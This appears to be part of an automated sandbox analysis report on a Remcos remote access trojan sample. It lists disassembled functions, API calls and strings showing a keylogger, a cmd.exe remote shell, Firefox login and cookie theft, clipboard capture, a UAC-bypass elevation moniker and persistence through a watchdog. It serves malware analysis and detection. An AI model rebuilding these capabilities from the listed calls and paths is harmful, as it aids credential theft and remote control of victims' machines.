                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Startup
                              • String ID:
                              • API String ID: 724789610-0
                              • Opcode ID: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                              • Instruction ID: a24ce82555f98f109a53945ea9c337c8597cdca763f75144b39f195b4e3f482d
                              • Opcode Fuzzy Hash: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                              • Instruction Fuzzy Hash: 0DD0C9325586088AE620AAB4AD0B8A4775C8312615F0007AA6CA5835D2E6446A19C2AA
                              Function 00426CC8 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: send
                              • String ID:
                              • API String ID: 2809346765-0
                              • Opcode ID: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                              • Instruction ID: 80dceff54fd7c7607e374e8a405dba3f032bb15cdc3f4a53630576a73fa931ff
                              • Opcode Fuzzy Hash: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                              • Instruction Fuzzy Hash: 79B09279108202FFCB150B60CD0887A7EAAABC8381F008A2CB187411B1C636C852AB26
                              Function 00426CB1 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: recv
                              • String ID:
                              • API String ID: 1507349165-0
                              • Opcode ID: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                              • Instruction ID: 54da5cb0358175ea3eef87e0ba5f02fe09cc36e19498aa822303b7a5c5cf0de8
                              • Opcode Fuzzy Hash: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                              • Instruction Fuzzy Hash: 38B09B75108302FFC6150750CC0486A7D66DBC8351B00481C714641170C736C8519725

                              Non-executed Functions

                              Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                              Download Yara Rule
                              APIs
                              • SetEvent.KERNEL32(?,?), ref: 00407CB9
                              • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
                              • DeleteFileW.KERNEL32(00000000), ref: 00407DA9
                                • Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                                • Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                                • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                                • Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                                • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
                              • GetLogicalDriveStringsA.KERNEL32 ref: 00408278
                              • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
                              • DeleteFileA.KERNEL32(?), ref: 00408652
                                • Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
                                • Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                • Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                • Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                              • Sleep.KERNEL32(000007D0), ref: 004086F8
                              • StrToIntA.SHLWAPI(00000000), ref: 0040873A
                                • Part of subcall function 0041C9E2: SystemParametersInfoW.USER32 ref: 0041CAD7
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                              • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                              • API String ID: 1067849700-181434739
                              • Opcode ID: 4e58a0086eefa5a7d711f599d6b504f8132a4b145ccff10764beb7e3a44898d0
                              • Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
                              • Opcode Fuzzy Hash: 4e58a0086eefa5a7d711f599d6b504f8132a4b145ccff10764beb7e3a44898d0
                              • Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B
                              Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • __Init_thread_footer.LIBCMT ref: 004056E6
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • __Init_thread_footer.LIBCMT ref: 00405723
                              • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
                              • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                              • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                              • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                              • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                              • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                              • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90), ref: 004059E4
                              • Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
                              • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                              • CloseHandle.KERNEL32 ref: 00405A23
                              • CloseHandle.KERNEL32 ref: 00405A2B
                              • CloseHandle.KERNEL32 ref: 00405A3D
                              • CloseHandle.KERNEL32 ref: 00405A45
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                              • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                              • API String ID: 2994406822-18413064
                              • Opcode ID: 0bbaae79d37784eff0bda4ee73f6175408756e6d55542185b1592f0638578cac
                              • Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
                              • Opcode Fuzzy Hash: 0bbaae79d37784eff0bda4ee73f6175408756e6d55542185b1592f0638578cac
                              • Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D
                              Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentProcessId.KERNEL32 ref: 00412106
                                • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                                • Part of subcall function 00413877: RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                              • OpenMutexA.KERNEL32 ref: 00412146
                              • CloseHandle.KERNEL32(00000000), ref: 00412155
                              • CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
                              • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                              • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                              • API String ID: 3018269243-13974260
                              • Opcode ID: cf8836db070dde1e79f7b372f7e703d1748ead536f5279adb044898871b6b780
                              • Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
                              • Opcode Fuzzy Hash: cf8836db070dde1e79f7b372f7e703d1748ead536f5279adb044898871b6b780
                              • Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E
                              Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
                              • FindClose.KERNEL32(00000000), ref: 0040BBC9
                              • FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
                              • FindClose.KERNEL32(00000000), ref: 0040BD12
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$CloseFile$FirstNext
                              • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                              • API String ID: 1164774033-3681987949
                              • Opcode ID: a7abc2cbee64d590697779d9a46801e96057498aa45ff5fe343c94ad28998e44
                              • Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
                              • Opcode Fuzzy Hash: a7abc2cbee64d590697779d9a46801e96057498aa45ff5fe343c94ad28998e44
                              • Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89
                              Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                              Download Yara Rule
                              APIs
                              • OpenClipboard.USER32 ref: 004168C2
                              • EmptyClipboard.USER32 ref: 004168D0
                              • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
                              • GlobalLock.KERNEL32 ref: 004168F9
                              • GlobalUnlock.KERNEL32(00000000), ref: 0041692F
                              • SetClipboardData.USER32 ref: 00416938
                              • CloseClipboard.USER32 ref: 00416955
                              • OpenClipboard.USER32 ref: 0041695C
                              • GetClipboardData.USER32 ref: 0041696C
                              • GlobalLock.KERNEL32 ref: 00416975
                              • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                              • CloseClipboard.USER32 ref: 00416984
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                              • String ID: !D@
                              • API String ID: 3520204547-604454484
                              • Opcode ID: 6c018320e5b0d2cabe6153e6df3be29feb4b7020e0ff09a9ecc452abf36931f7
                              • Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
                              • Opcode Fuzzy Hash: 6c018320e5b0d2cabe6153e6df3be29feb4b7020e0ff09a9ecc452abf36931f7
                              • Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A
                              Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
                              • FindClose.KERNEL32(00000000), ref: 0040BDC9
                              • FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
                              • FindClose.KERNEL32(00000000), ref: 0040BEAF
                              • FindClose.KERNEL32(00000000), ref: 0040BED0
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$Close$File$FirstNext
                              • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                              • API String ID: 3527384056-432212279
                              • Opcode ID: 48f1059577fb6fb3e12f81dcccae54fa1aae2825fed048d23a83c2489a6cdfe4
                              • Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
                              • Opcode Fuzzy Hash: 48f1059577fb6fb3e12f81dcccae54fa1aae2825fed048d23a83c2489a6cdfe4
                              • Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E
                              Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
                              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4B9
                              • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
                              • CloseHandle.KERNEL32(00000000), ref: 0040F563
                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                              • CloseHandle.KERNEL32(00000000), ref: 0040F66E
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                              • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                              • API String ID: 3756808967-1743721670
                              • Opcode ID: 8520e54c90e73ae769b9472ab5acef4e7d13580ea560d925ff866fcf30e94af2
                              • Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
                              • Opcode Fuzzy Hash: 8520e54c90e73ae769b9472ab5acef4e7d13580ea560d925ff866fcf30e94af2
                              • Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A
                              Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: 0$1$2$3$4$5$6$7$VG
                              • API String ID: 0-1861860590
                              • Opcode ID: 6e6c7a448708c07855854a0ebdca304f9e0347beed71fdd78d4df1a7a8a0f9ff
                              • Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
                              • Opcode Fuzzy Hash: 6e6c7a448708c07855854a0ebdca304f9e0347beed71fdd78d4df1a7a8a0f9ff
                              • Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96
                              Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 00407521
                              • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Object_wcslen
                              • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                              • API String ID: 240030777-3166923314
                              • Opcode ID: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                              • Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
                              • Opcode Fuzzy Hash: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                              • Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA
                              Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
                              • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
                              • GetLastError.KERNEL32 ref: 0041A7BB
                              • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: EnumServicesStatus$ErrorLastManagerOpen
                              • String ID:
                              • API String ID: 3587775597-0
                              • Opcode ID: 79deda2eaf5389e9881e5cc6274fd0cbf241d84606103934df9ee54e93fb00d6
                              • Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
                              • Opcode Fuzzy Hash: 79deda2eaf5389e9881e5cc6274fd0cbf241d84606103934df9ee54e93fb00d6
                              • Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A
                              Function 00452610 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                              • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
                              • IsValidCodePage.KERNEL32(00000000), ref: 00452777
                              • IsValidLocale.KERNEL32(?,00000001), ref: 00452786
                              • GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
                              • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                              • String ID: lJD$lJD$lJD
                              • API String ID: 745075371-479184356
                              • Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                              • Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
                              • Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                              • Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69
                              Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
                              • FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
                              • FindClose.KERNEL32(00000000), ref: 0040C47D
                              • FindClose.KERNEL32(00000000), ref: 0040C4A8
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$CloseFile$FirstNext
                              • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                              • API String ID: 1164774033-405221262
                              • Opcode ID: 285c5e5c0a0229c45b09239667504c56f02977e4a07d16255c72b533a04b213f
                              • Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
                              • Opcode Fuzzy Hash: 285c5e5c0a0229c45b09239667504c56f02977e4a07d16255c72b533a04b213f
                              • Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D
                              Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                              • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                              • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C38E
                              • DeleteFileW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C39B
                                • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                              • GetLastError.KERNEL32(?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3BC
                              • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                              • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                              • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3E2
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                              • String ID:
                              • API String ID: 2341273852-0
                              • Opcode ID: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                              • Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
                              • Opcode Fuzzy Hash: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                              • Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68
                              Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
                              • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17
                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$Find$CreateFirstNext
                              • String ID: 8SG$PXG$PXG$NG$PG
                              • API String ID: 341183262-3812160132
                              • Opcode ID: b6fdd12ea4283b508e25f04ac6086fd651a88d51969d46a0526c61d0c238dc80
                              • Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
                              • Opcode Fuzzy Hash: b6fdd12ea4283b508e25f04ac6086fd651a88d51969d46a0526c61d0c238dc80
                              • Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                              Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                              • SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
                              • GetLastError.KERNEL32 ref: 0040A2ED
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • GetMessageA.USER32 ref: 0040A33B
                              • TranslateMessage.USER32(?), ref: 0040A34A
                              • DispatchMessageA.USER32 ref: 0040A355
                              Strings
                              • Keylogger initialization failure: error , xrefs: 0040A301
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                              • String ID: Keylogger initialization failure: error
                              • API String ID: 3219506041-952744263
                              • Opcode ID: a0c7fd995aca5085690907e56c9aea0f8c761d2d3ede884cf20f0c391cb5f383
                              • Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
                              • Opcode Fuzzy Hash: a0c7fd995aca5085690907e56c9aea0f8c761d2d3ede884cf20f0c391cb5f383
                              • Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA
                              Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                              • String ID:
                              • API String ID: 1888522110-0
